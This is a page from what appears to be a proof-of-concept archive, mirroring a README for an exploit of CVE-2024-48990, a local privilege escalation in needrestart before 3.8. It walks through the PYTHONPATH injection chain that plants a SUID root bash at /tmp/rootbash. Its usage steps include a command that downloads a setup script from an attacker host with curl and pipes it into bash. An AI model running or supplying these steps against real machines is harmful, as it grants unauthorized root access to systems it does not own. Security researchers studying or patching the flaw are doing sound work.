Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2024-48990 PoC — needrestart 安全漏洞

Source
Associated Vulnerability
Title:needrestart 安全漏洞 (CVE-2024-48990)
Description:Qualys discovered that needrestart, before version 3.8, allows local attackers to execute arbitrary code as root by tricking needrestart into running the Python interpreter with an attacker-controlled PYTHONPATH environment variable.
Description
Full exploit for needsrestart setuid root shell
Readme
# CVE-2024-48990 Exploit

Local Privilege Escalation in needrestart < 3.8 via PYTHONPATH injection.

## How It Works

1. **needrestart runs as root** and scans all processes
2. Finds our Python process, reads `PYTHONPATH=/tmp/.m` from `/proc/[pid]/environ`
3. **Executes Python as root** with our malicious `PYTHONPATH`
4. Python's import loads `/tmp/.m/importlib/__init__.so` (our malicious library)
5. **Constructor in .so executes as root** before Python even starts
6. Creates SUID bash at `/tmp/rootbash`
7. Execute `/tmp/rootbash -p` for root shell

**Key Point:** needrestart trusts environment variables from unprivileged processes and uses them when executing interpreters as root.

## Usage

**Attacker:**
```bash
./compile.sh
python3 -m http.server 8000
```

**Target:**

```bash
curl -sf http://10.10.14.109:8000/setup_exploit.sh | bash -s 10.10.14.109 8000
cd /tmp/.m && PYTHONPATH=/tmp/.m python3 e.py
```
The e.py process should hang and spawn root once the following is ran from a 2nd terminal:
```bash
sudo needsrestard
```
the first terminal will start a root shell
## Credits

Qualys Threat Research Unit - CVE-2024-48990
File Snapshot

[4.0K] /data/pocs/056a489bb554094b746aff3dbe248df5da175ea1 ├── [ 218] compile.sh ├── [ 244] exploit.c ├── [1.1K] README.md ├── [ 673] setup_exploit.sh └── [1.1K] trigger.py 1 directory, 5 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →